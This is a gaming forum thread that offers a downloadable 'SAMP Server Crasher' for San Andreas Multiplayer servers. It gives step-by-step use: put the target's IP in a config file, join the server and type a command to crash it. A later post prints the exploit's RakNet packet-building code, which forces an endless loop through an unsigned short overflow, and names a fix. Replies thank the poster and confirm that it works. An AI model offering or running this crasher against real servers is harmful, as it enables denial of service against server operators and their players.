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  1. #1
    //\\//etwork3r's Avatar
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    SAMP Server Crasher 0.3x-R2

    Made by bartekdvd.
    How to use:
    Open RakSAMPClient.xml and find this line
    Code:
    <server nickname="Kwazii" password="">ip.theotherside.pl:7777</server>
    Now change the ip.theotherside.pl:7777 to server ip you want to crash.Save and run RakSAMPClient.exe
    join to the server and type !freeze
    Boom server has been crashed.
    Enjoy and go play MTA is much better
    Scan:
    Code:
    https://www.virustotal.com/pl/file/c9127ab00b2720d494ac87edc02389abd6a2796a65ab29839e35787b065603ff/analysis/1389032411/
    <b>Downloadable Files</b> Downloadable Files

  2. The Following 94 Users Say Thank You to //\\//etwork3r For This Useful Post:

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  3. #2
    AdyTza's Avatar
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    Most of the servers fixed this,but yeah..

  4. #3
    Bernard's Avatar
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    Minion: 11/28/12-3/15/14

  5. #4
    xLoLeRxx's Avatar
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    Haha, thanks for this, i will use it, but unfortunately it will be working on private or shit public servers only. All large projects have fixed this.
    ------------------------------------------------------------------------------------

    I'm giving rep and thanks to all the guys who helped me somehow!
    Don't hack, unless you want to have some real fun.

  6. #5
    base187's Avatar
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    Seems interesting. Does anyone know what exploit this uses?

  7. #6
    //\\//etwork3r's Avatar
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    Quote Originally Posted by base187 View Post
    Seems interesting. Does anyone know what exploit this uses?
    Code:
    /*
    by bartekdvd
    */
    /*
    I don't know if it affects the newest version of raknet, but the loop condition is pretty much the same in all versions.
    */
    /*
    The problem lays in raknet acknowledgment packet system.
    Creating RakNet datagram for ack packet in the way like this one bleow traps one of the server threads (raknet thread) into an endless loop.
    */
    
    bitStream->Write(true); //is acknowledgment packet
    unsigned short count = 2; 
    bitStream->WriteCompressed(count); //how many
    for (int i = 0; i < count; i++)
    {
    	bitStream->Write(false); //is min==max
    	bitStream->Write((unsigned short)0); //min index
    	bitStream->Write((unsigned short)0xFFFF); //max index
    }
    
    /*
    This is the place where server thread is trapped
    */
    
    ReliabilityLayer::HandleSocketReceiveFromConnectedPlayer
    //...
    DataStructures::RangeList<MessageNumberType> incomingAcks;
    socketData.Read(hasAcks);
    if (hasAcks)
    {
    	MessageNumberType messageNumber;
    	if (incomingAcks.Deserialize(&socketData)==false)
    		return false;
    
    	for (i=0; i<incomingAcks.ranges.Size();i++)
    	{
    		if (incomingAcks.ranges[i].minIndex>incomingAcks.ranges[i].maxIndex)
    		{
    			RakAssert(incomingAcks.ranges[i].minIndex<=incomingAcks.ranges[i].maxIndex);
    			return false;
    		}
    
    		for (messageNumber=incomingAcks.ranges[i].minIndex; messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex; messageNumber++)
    		{	
    //		...
    //		!!!HERE!!!
    //		...
    		}
    
    /*
    You can now see that the condition:
    */
    messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex
    /*
    in this case is incorrect for because the type of messageNumber is unsigned short, so for following values minIndex = 0 and maxIndex = 0xFFFF
    the condition is always true.
    */
    /*
    Solution
    */
    /*
    The easiest solution is to change the type of messageNumber to unsigned integer or to whatever that can store more data than unsigned short.
    */

  8. The Following User Says Thank You to //\\//etwork3r For This Useful Post:

    base187 (01-20-2014)

  9. #7
    yanirlu's Avatar
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    how can i block this in my server ?

  10. #8
    NeuTronas's Avatar
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    I need this too

  11. #9
    mdlqer147's Avatar
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    ty man it works

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